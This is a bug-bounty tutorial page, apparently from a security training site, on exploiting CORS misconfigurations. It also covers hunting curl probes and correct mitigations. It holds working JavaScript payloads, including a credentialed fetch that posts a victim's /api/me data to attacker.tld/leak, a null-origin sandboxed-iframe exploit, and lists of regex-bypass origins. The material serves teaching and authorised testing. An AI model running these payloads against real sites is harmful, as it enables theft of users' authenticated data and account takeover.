Quick answer
A CORS misconfig is vulnerable when the server responds with Access-Control-Allow-Origin reflecting an arbitrary origin and at the same time Access-Control-Allow-Credentials: true. It lets an attacker page read the victim's authenticated responses. Exploitable patterns: dynamic reflection, null accepted, weak regex that matches attacker subdomains, trust in takeable subdomains.
How CORS works (refresher)
CORS controls which origins can read cross-site responses. For a request with cookies:
- The browser sends the attacker's Origin.
- The server responds with
Access-Control-Allow-Origin(ACAO) andAccess-Control-Allow-Credentials(ACAC). - If ACAO == attacker's origin AND ACAC == true → the attacker's JS can read the response.
Rule: ACAO: * and ACAC: true are not compatible (the browser ignores it). The attacker needs the server to echo the specific origin + ACAC true.
Exploitable misconfigs
1. Reflection of any Origin
Request:
GET /api/me HTTP/1.1
Origin: https://attacker.tld
Response:
Access-Control-Allow-Origin: https://attacker.tld
Access-Control-Allow-Credentials: true
The most common vector. The backend echoes the Origin header with no validation. Any attacker page with the victim logged in reads /api/me with their cookies.
PoC:
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(data => fetch("https://attacker.tld/leak", { method: "POST", body: data }));
2. Weak regex
The backend validates with a regex that matches attacker subdomains:
if re.match(r"^https?://.*target\.tld$", origin): # ⚠️ falla
return origin
https://attacker.target.tld (subdomain takeover) or https://target.tld.attacker.tld match depending on the regex. Try:
https://eviltarget.tld
https://target.tld.evil.tld
https://attacker.com/target.tld
https://target.tld%60.attacker.tld
https://target.tld.attacker.tld
3. null origin accepted
Origin: null
Response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Browsers send Origin: null when:
- Sandboxed iframes without
allow-same-origin. - File:// URIs.
- Documents from data: URIs.
Attacker:
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://target.tld/api/me', {credentials:'include'}).then(r=>r.text()).then(d=>parent.postMessage(d,'*'))</script>"></iframe>
The sandboxed iframe sends Origin: null → the server responds with ACAO=null + ACAC=true → leak.
4. Trust in a takeable subdomain
allowed = ["*.target.tld"] # acepta cualquier subdominio
If any subdomain (legacy.target.tld, static.target.tld, internal.target.tld) has a subdomain takeover (DNS points to an S3/Heroku/Github Pages that no longer exists), the attacker registers that service and hosts a page on the subdomain.
From that subdomain, fetching target.tld/api/* with credentials → response + ACAO match + ACAC true → ATO of any logged-in user.
5. Pre-flight bypass
If the endpoint doesn't require preflight (a "simple" request: GET/POST without custom headers + matching ACAO), the browser doesn't even ask first. Apps with sensitive endpoints via simple POST are exploitable without the victim seeing even an OPTIONS.
6. Wide wildcard
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
The browser ignores ACAC when ACAO=* (cookies aren't sent). But sometimes the endpoint serves sensitive data without needing credentials (e.g., if auth is via API key in the query string, or if the endpoint is internal). In that case ACAO: * alone is enough for a leak.
How to demonstrate a PoC
Minimal PoC for the report
HTML you serve from attacker.tld:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC</h1>
<div id="r">Loading...</div>
<script>
fetch("https://target.tld/api/me", { credentials: "include" })
.then(r => r.text())
.then(d => {
document.getElementById("r").textContent = d;
});
</script>
</body>
</html>
Reporter steps:
- Log into
target.tld(test account). - Visit
https://attacker.tld/cors-poc.html. - Screenshot of the authenticated response showing email, ID, etc.
Hunting checklist
# Cambiar Origin y observar ACAO + ACAC
curl -H "Origin: https://evil.tld" -I https://target.tld/api/me
curl -H "Origin: null" -I https://target.tld/api/me
curl -H "Origin: https://target.tld.evil.tld" -I https://target.tld/api/me
curl -H "Origin: https://eviltarget.tld" -I https://target.tld/api/me
curl -H "Origin: https://target.tld%60.evil.tld" -I https://target.tld/api/me
If ACAO reflects the sent Origin AND ACAC=true → reportable. Confirm with a working PoC.
Common patterns in bug bounty
Apps with "internal" and "public" APIs
api.target.tld(public, restrictive ACAO).internal.target.tld(internal, without CORS because "it's not linked").
If internal.target.tld is in scope and responds with CORS open to its own subdomains, the vector via subdomain takeover still applies.
CORS + Vary header
If Vary: Origin is missing, CDNs cache responses with a specific Origin → a user with Origin: target.tld receives a response cached for Origin: attacker.tld. Cache poisoning vector.
Credentials via Authorization header
Apps that send tokens with Authorization: Bearer ... (not cookies). The browser only sends Authorization automatically if it's in the fetch header. If the app stores the token in localStorage and adds it manually, an attacker page CANNOT read it unless it combines with XSS.
But if the frontend's fetch sends cookies (session) in addition to the Authorization, the cookies + CORS + ACAC flow applies just the same.
Correct mitigation
- Explicit whitelist (no regex):
allowed_origins = {"https://app.target.tld", "https://admin.target.tld"}
if origin in allowed_origins:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
- Vary: Origin whenever the response changes based on Origin.
- Never ACAO=
null. - Never ACAO=
*with ACAC=true. - Don't trust subdomains unless you have strict DNS control.
Hunting checklist (quick)
- Does
curl -H "Origin: https://evil.tld" -Ireflect in ACAO? - Is ACAC=true at the same time?
- Is
Origin: nullaccepted? - Are there sensitive endpoints without preflight (simple GET/POST)?
- Subdomains with forgotten CNAMEs (subdomain takeover)?
- Is
Vary: Originpresent to prevent cache poisoning?
Related labs
Practice reflected CORS, null origin, regex bypass and subdomain trust: CORS labs.
Practice this in a lab
Cors
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.
Zero-Click postMessage Origin Bypass — from the canvas to credit drain
The postMessage listener only validated a field of e.data — controlled by the attacker. e.origin was never checked. From an iframe loaded when opening a bot, messages injected as if the victim had written them.